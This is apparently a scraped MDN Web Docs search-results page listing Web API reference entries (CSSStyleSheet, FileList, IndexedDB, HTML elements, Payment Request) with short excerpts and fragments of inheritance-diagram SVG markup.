w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssprimitivevalue" target="_top"><rect x="121" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-famil...
...y="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssprimitivevalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, cssvalue.
... css_in the value is a <length> in inches.
...And 5 more matches
CSSStyleSheet.insertRule() - Web APIs
if rule cannot be inserted at index 0 due to some css constraint, the method aborts with a hierarchyrequesterror.
... if trying to insert an @import at-rule after a style rule, the method aborts with a hierarchyrequesterror.
... mystyle.insertrule('#blanc { color: white }', 0); function to add a stylesheet rule /** * add a stylesheet rule to the document (it may be better practice * to dynamically change classes, so style information can be kept in * genuine stylesheets and avoid adding extra elements to the dom).
...And 5 more matches
CSSStyleSheet - Web APIs
a stylesheet consists of a collection of cssrule objects representing each of the rules in the stylesheet.
... the rules are contained in a cssrulelist, which can be obtained from the stylesheet's cssrules property.
... for example, one rule might be a cssstylerule object containing a style such as: h1, h2 { font-size: 16pt; } another rule might be an at-rule such as @import or @media, and so forth.
...And 5 more matches
CanvasRenderingContext2D.isPointInPath() - Web APIs
syntax ctx.ispointinpath(x, y [, fillrule]); ctx.ispointinpath(path, x, y [, fillrule]); parameters x the x-axis coordinate of the point to check, unaffected by the current transformation of the context.
... y the y-axis coordinate of the point to check, unaffected by the current transformation of the context.
... fillrule the algorithm by which to determine if a point is inside or outside the path.
...And 5 more matches
Comment - Web APIs
WebAPIComment
the comment interface represents textual notations within markup; although it is generally not visually shown, such comments are available to be read in the source view.
...in xml, the character sequence '--' cannot be used within a comment.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 5 more matches
DirectoryReaderSync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... this specification is pretty much abandoned, having failed to reach any substantial traction.
...you can do that by passing a list of filesystem: urls—which are just strings—instead of a list of entries.
...And 5 more matches
Document.getElementsByClassName() - Web APIs
the getelementsbyclassname method of document interface returns an array-like object of all child elements which have all of the given class name(s).
... when called on the document object, the complete document is searched, including the root node.
... you may also call getelementsbyclassname() on any element; it will return only elements which are descendants of the specified root element with the given class name(s).
...And 5 more matches
Event.eventPhase - Web APIs
WebAPIEventeventPhase
the eventphase read-only property of the event interface indicates which phase of the event flow is currently being evaluated.
... syntax let phase = event.eventphase; value returns an integer value which specifies the current evaluation phase of the event flow.
... constants event phase constants these values describe which phase the event flow is currently being evaluated.
...And 5 more matches
Event.initEvent() - Web APIs
WebAPIEventinitEvent
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... once dispatched, it doesn't do anything anymore.
... bubbles is a boolean deciding whether the event should bubble up through the event chain or not.
...And 5 more matches
Event.preventDefault() - Web APIs
the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopimmediatepropagation(), either of which terminates propagation at once.
... as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect.
... syntax event.preventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox.
...And 5 more matches
FileList - Web APIs
WebAPIFileList
using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list.
... for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type description length integer a read-only value indicating the number of files in the list.
... <!doctype html> <html> <head> </head> <body> <!--multiple is set to allow multiple files to be selected--> <input id="myfiles" multiple type="file"> </body> <script> var pullfiles=function(){ // love the query selector var fileinput = document.queryselector("#myfiles"); var files = fileinput.files; // cache files.length var fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment ...
...And 5 more matches
FileSystemDirectoryReader - Web APIs
the filesystemdirectoryreader interface of the file and directory entries api lets you access the fileentry-based objects (generally filesystemfileentry or filesystemdirectoryentry) representing each entry in a directory.
...check the browser compatibility section for details.
...each item in the array is an object based on filesystementry—typically either filesystemfileentry or filesystemdirectoryentry.
...And 5 more matches
FileSystemEntry.moveTo() - Web APIs
you can't move a file such that it replaces an existing directory, and you can't move a directory such that it replaces an existing file.
... successcallback optional a function which is called when the move operation is succesfully completed.
... errorcallback optional an optional callback which is executed if an error occurs while moving the items.
...And 5 more matches
FileSystemEntry.remove() - Web APIs
syntax filesystementry.remove(successcallback[, errorcallback]); parameters successcallback a function which is called once the file has been successfully removed.
... errorcallback optional an optional callback which is called if the attempt to remove the file fails.
... errors fileerror.invalid_modification_err the specified entry was the file system's root directory, or the specified entry is a directory which isn't empty.
...And 5 more matches
FileSystemEntry.toURL() - Web APIs
the filesystementry interface's method tourl() creates and returns a string containing a url which can be used to identify the file system entry.
... this is done by exposing a new url scheme—filesystem:—that can be used as the value of src and href attributes.
... return value a domstring containing a url that can then be used as a document reference in html content, or an empty string if the url can't be generated (such as if the file system implementation doesn't support tourl()).
...And 5 more matches
FileSystemFileEntry.createWriter() - Web APIs
the filesystemfileentry interface's method createwriter() returns a filewriter object which can be used to write data into the file represented by the directory entry.
... syntax filesystemfileentry.createwriter(successcallback[, errorcallback]); parameters successcallback a callback function which is called when the filewriter has been created successfully; the filewriter is passed into the callback as the only parameter.
... errorcallback optional if provided, this must be a method which is caled when an error occurs while trying to create the filewriter.
...And 5 more matches
FileSystemSync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
...so once you have a reference, cache the object in a global variable or class property.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 5 more matches
GainNode - Web APIs
WebAPIGainNode
the gainnode interface represents a change in volume.
...a gainnode always has exactly one input and one output, both with the same number of channels.
... the gain is a unitless value, changing with time, that is multiplied to each corresponding sample of all input channels.
...And 5 more matches
GeolocationCoordinates.longitude - Web APIs
the geolocationcoordinates interface's read-only longitude property is a double-precision floating point value which represents the longitude of a geographical position, specified in decimal degrees.
... together with a domtimestamp indicating a time of measurement, the geolocationcoordinates object is part of the geolocationposition interface, which is the object type returned by geolocation api functions that obtain and return a geographical position.
... note: the zero meridian (also known as the prime meridian or the reference meridian) is not precisely the same as the greenwhich meridian that most people think of.
...And 5 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
the animationiteration event is sent when a css animation reaches the end of an iteration.
... syntax var animiterationhandler = target.onanimationiteration; target.onanimationiteration = function value a function to be called when an animationiteration event occurs indicating that a css animation has reached the end of an iteration while running on the target, where the target object is an html element (htmlelement), document (document), or window (window).
... the function receives as input a single parameter: an animationevent object describing the event which occurred.
...And 5 more matches
HTMLAudioElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ht...
...And 5 more matches
HTMLBodyElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbodyelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 5 more matches
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
the text writing directionality of an element is which direction that text goes (for support of different language systems).
... an image can have its dir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl".
... when an element has its dir set to "auto", the direction of the element is determined based on its first strong directionality character, or default to the directionality of its parent element.
...And 5 more matches
HTMLFieldSetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlfieldsetelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 5 more matches
HTMLIFrameElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmliframeelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 5 more matches
HTMLImageElement.crossOrigin - Web APIs
the htmlimageelement interface's crossorigin attribute is a string which specifies the cross-origin resource sharing (cors) setting to use when retrieving the image.
... syntax htmlimageelement.crossorigin = crossoriginmode; let crossoriginmode = htmlimageelement.crossorigin; value a domstring of a keyword specifying the cors mode to use when fetching the image resource.
... if you don't specify crossorigin, the image is fetched without cors (the fetch no-cors mode).
...And 5 more matches
HTMLImageElement.height - Web APIs
the height property of the htmlimageelement interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image.
...the terms in which the height is defined depends on whether the image is being rendered to a visual medium or not.
... if the image is being rendered to a visual medium such as a screen or printer, the height is expressed in css pixels.
...And 5 more matches
HTMLOrForeignElement.dataset - Web APIs
it is a map of domstrings (domstringmap) with one entry for each custom data attribute.
...instead, all writes must be to the individual properties within the dataset, which in turn represent the data attributes.
...it must contain only letters, numbers, and the following characters: dash (-), dot (.), colon (:), underscore (_)—but not any ascii capital letters (a to z).
...And 5 more matches
HTMLTableSectionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablesectionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="...
...And 5 more matches
HTMLTrackElement - Web APIs
this element can be used as a child of either <audio> or <video> to specify a text track containing information such as closed captions or subtitles.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 5 more matches
History.pushState() - Web APIs
WebAPIHistorypushState
syntax history.pushstate(state, title[, url]) parameters state the state object is a javascript object which is associated with the new history entry created by pushstate().
...because firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object.
...passing the empty string here should be safe against future changes to the method.
...And 5 more matches
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
the delete() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position.
...for such needs, you have to use idbindex.opencursor() instead.
... syntax myidbcursor.delete(); returns an idbrequest object on which subsequent events related to this operation are fired.
...And 5 more matches
IDBCursorSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
...it enables an application to synchronously process all the records in the cursor's range.
...setting this attribute can raise an idbdatabaseexception with the following codes: data_err if the underlying object store uses in-line keys and the property at the key path does not match the key in this cursor's position.
...And 5 more matches
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
the method returns an idbopendbrequest object immediately, and performs the open operation asynchronously.
... may trigger upgradeneeded, blocked or versionchange events.
...if the version is not provided and the database exists, then a connection to the database will be opened without changing its version.
...And 5 more matches
IDBIndex.openCursor() - Web APIs
if at least one record matches the key range, then the result property of the event is set to the new idbcursorwithvalue object; the value of the cursor object is set to a structured clone of the referenced value.
... if no records match the key range then then the result property of the event is set to null.
... return value an idbrequest object on which subsequent events related to this operation are fired.
...And 5 more matches
IDBObjectStore.deleteIndex() - Web APIs
note that this method must be called only from a versionchange transaction mode callback.
... note that this method synchronously modifies the idbobjectstore.indexnames property.
... return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback.
...And 5 more matches
InputEvent - Web APIs
the inputevent interface represents an event notifying of editable content change.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/inputevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">inputevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor inputevent() creates an inputevent object.
...And 5 more matches
Keyboard API - Web APIs
the keyboard api provides methods for working with a physical keyboard that is attached to a device running a browser.
...the intended use of the keyboard api is by web applications such as games or remote access apps that provide a full-screen immersive experience.
...keyboard provides the keyboard.getlayoutmap method, which returns a promise that resolves with a keyboardlayoutmap object that contains members for converting codes to keys.
...And 5 more matches
MediaRecorder() - Web APIs
options optional a dictionary object that can contain the following properties: mimetype: a mime type specifying the format for the resulting media; you may simply specify the container format (the browser will select its preferred codecs for audio and/or video), or you may use the codecs parameter and/or the profiles parameter to provide detailed information about which codecs to use and how to configure them.
... applications can check in advance if a mimetype is supported by the user agent by calling mediarecorder.istypesupported().
... audiobitspersecond: the chosen bitrate for the audio component of the media.
...And 5 more matches
Navigator.onLine - Web APIs
the property sends updates whenever the browser's ability to connect to the network changes.
... in chrome and safari, if the browser is not able to connect to a local area network (lan) or a router, it is offline; all other conditions return true.
...you could be getting false positives, such as in cases where the computer is running a virtualization software that has virtual ethernet adapters that are always "connected." therefore, if you really want to determine the online status of the browser, you should develop additional means for checking.
...And 5 more matches
OffscreenCanvas.getContext() - Web APIs
"bitmaprenderer" creates a imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap.
...these implementations have not reached test suite conformance, or the graphic drivers situation on the platform is not yet stable.
... contextattributes you can use several context attributes when creating your rendering context, for example: offscreen.getcontext("webgl", { antialias: false, depth: false }); 2d context attributes: alpha: boolean that indicates if the canvas contains an alpha channel.
...And 5 more matches
OscillatorNode - Web APIs
the oscillatornode interface represents a periodic waveform, such as a sine wave.
... it is an audioscheduledsourcenode audio-processing module that causes a specified frequency of a given wave to be created—in effect, a constant tone.
...its basic property defaults (see audionode for definitions) are: number of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a new instance of an oscillatornode object, optionally providing an object specifying default values for the node's properties.
...And 5 more matches
ParentNode.prepend() - Web APIs
the parentnode.prepend() method inserts a set of node objects or domstring objects before the first child of the parentnode.
... syntax parentnode.prepend(...nodestoprepend); parameters nodestoprepend one or more nodes to insert before the first child node currently in the parentnode.
... each node can be specified as either a node object or as a string; strings are inserted as new text nodes.
...And 5 more matches
ParentNode.querySelector() - Web APIs
the parentnode mixin defines the queryselector() method as returning an element representing the first element matching the specified group of selectors which are descendants of the object on which the method was called.
... if you need all the elements matching the selector list, use queryselectorall() instead.
... syntax element = parentnode.queryselector(selectors); parameters selectors a domstring containing one or more selectors to match against.
...And 5 more matches
PaymentAddress.toJSON() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettojson()chrome full support 61disabled full support 61disabled disabled from version 61: this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.edge full support 15firefox full support 62notes disabled full support 62notes disabled notes available only in nightly builds.
...And 5 more matches
PaymentRequest.shippingOption - Web APIs
syntax // returns the id of the selected paymentshippingoption var shippingoption = request.shippingoption; example in the example below, the paymentrequest.onshippingoptionchange and the paymentrequest.onshippingaoptionchange events are dispatched.
... in each calls to updatedetails() are made, one using a promise, and the other with a plain js object.
... this demotrates synchrounous and asynchronous updates to a payment sheet.
...And 5 more matches
PaymentResponse.shippingAddress - Web APIs
